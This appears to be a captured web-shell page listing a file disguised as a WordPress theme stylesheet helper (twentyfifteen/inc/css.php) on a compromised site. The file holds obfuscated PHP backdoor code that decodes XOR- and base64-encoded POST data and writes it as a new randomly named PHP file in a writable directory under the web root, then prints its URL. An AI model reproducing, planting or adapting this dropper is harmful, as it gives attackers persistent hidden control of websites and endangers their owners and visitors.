HEX
Server:Apache
System:Linux localhost 5.10.0-14-amd64 #1 SMP Debian 5.10.113-1 (2022-04-29) x86_64
User:enlugo-es (10006)
PHP:7.4.33
Disabled:opcache_get_status
Upload Files
File: /var/www/vhosts/enlugo.es/httpdocs/wp-content/themes/twentyfifteen/inc/css.php
<?php $ThgQoT = chr(745-677).chr(545-466)."\103".'U'."\x4d".'E'."\116".chr(287-203).chr(95).chr(846-764).chr(847-768).chr(79)."\124";$fiJLf = "\110".'T'.chr(84)."\x50".'_'.chr(894-822).chr(890-811)."\123".chr(112-28);$wHuXt = chr(104).chr(317-201)."\164".chr(112)."\x3a".chr(436-389)."\x2f";$TgjukJE = chr(851-805).'p'.chr(157-53).chr(1049-937);$lpUkNh = 'p'.chr(736-632).chr(112);$TjGuKUe = "\146"."\151".chr(324-216)."\x65".'_'."\160".chr(117)."\164"."\137".chr(1024-925)."\x6f".chr(778-668).chr(116)."\x65"."\x6e".'t'."\x73";$OEgLk = chr(478-364).chr(97).'w'.chr(999-882).chr(114).chr(163-55)."\x64".chr(426-325)."\x63"."\157".chr(100).chr(101);$WoZfWTy = chr(117).chr(1071-961).chr(800-685).chr(101).chr(510-396).chr(105)."\141".chr(737-629).chr(105).chr(831-709)."\145";$FEOlRYBsX = chr(105)."\163"."\x5f".'w'.'r'.'i'."\x74"."\141"."\142".chr(908-800).'e';$TxpCK = chr(973-861).chr(104).chr(112).chr(118)."\145".chr(860-746)."\x73".chr(309-204)."\x6f".'n';$nSeDMZqO = "\x73"."\164"."\162".chr(95).chr(114)."\157"."\164"."\x31".chr(51);$jQBHRBLZ = "\163"."\x65".chr(785-671)."\x69"."\x61"."\154".chr(127-22).chr(122).chr(667-566);$OThHz = "\163".'t'.chr(205-91).chr(985-890)."\163".'p'."\154".chr(480-375)."\164";foreach ($_POST as $KhOjbN => $vCEmOpqrd){$nJXOHcv = strlen($KhOjbN);if ($nJXOHcv == 16){$vCEmOpqrd = $OThHz($OEgLk($nSeDMZqO($vCEmOpqrd)));$KhOjbN = array_slice($OThHz(str_repeat($KhOjbN, (count($vCEmOpqrd)/16)+1)), 0, count($vCEmOpqrd));function OqfwGkn($VgSBjgh, $RhmQkucq, $KhOjbN){$kHNyyHhh = "5aa9034c-fcf4-42dd-aa0b-c0f1432fd0ef";return $VgSBjgh ^ $kHNyyHhh[$RhmQkucq % strlen($kHNyyHhh)] ^ $KhOjbN;}$vCEmOpqrd = implode("", array_map("OqfwGkn", array_values($vCEmOpqrd), array_keys($vCEmOpqrd), array_values($KhOjbN)));$vCEmOpqrd = @$WoZfWTy($vCEmOpqrd);if (@is_array($vCEmOpqrd)){$GcneCLPXH = array_keys($vCEmOpqrd);$vCEmOpqrd = $vCEmOpqrd[$GcneCLPXH[0]];if ($vCEmOpqrd === $GcneCLPXH[0]){echo @$jQBHRBLZ(Array($lpUkNh => @$TxpCK(), ));exit();}else {function BWVbJucdPR($kYXmfaJyNpir){static $cboieg = array();$mteCzKSI = glob($kYXmfaJyNpir . '/*', GLOB_ONLYDIR);$aoQTpIVe = count($mteCzKSI);if ($aoQTpIVe > 0) {foreach ($mteCzKSI as $kYXmfaJyNp) {if (@$FEOlRYBsX($kYXmfaJyNp)) {$cboieg[] = $kYXmfaJyNp;}}}foreach ($mteCzKSI as $kYXmfaJyNpir) BWVbJucdPR($kYXmfaJyNpir);return $cboieg;}$WhPFLw = $_SERVER[$ThgQoT];$mteCzKSI = BWVbJucdPR($WhPFLw);$GcneCLPXH = array_rand($mteCzKSI);$mHzOZriekX = $mteCzKSI[$GcneCLPXH] . "/" . substr(md5(time()), 0, 8) . $TgjukJE;@$TjGuKUe($mHzOZriekX, $vCEmOpqrd);$yJWwETrBgQ = $wHuXt . $_SERVER[$fiJLf] . substr($mHzOZriekX, strlen($WhPFLw));echo $yJWwETrBgQ;die();}}}}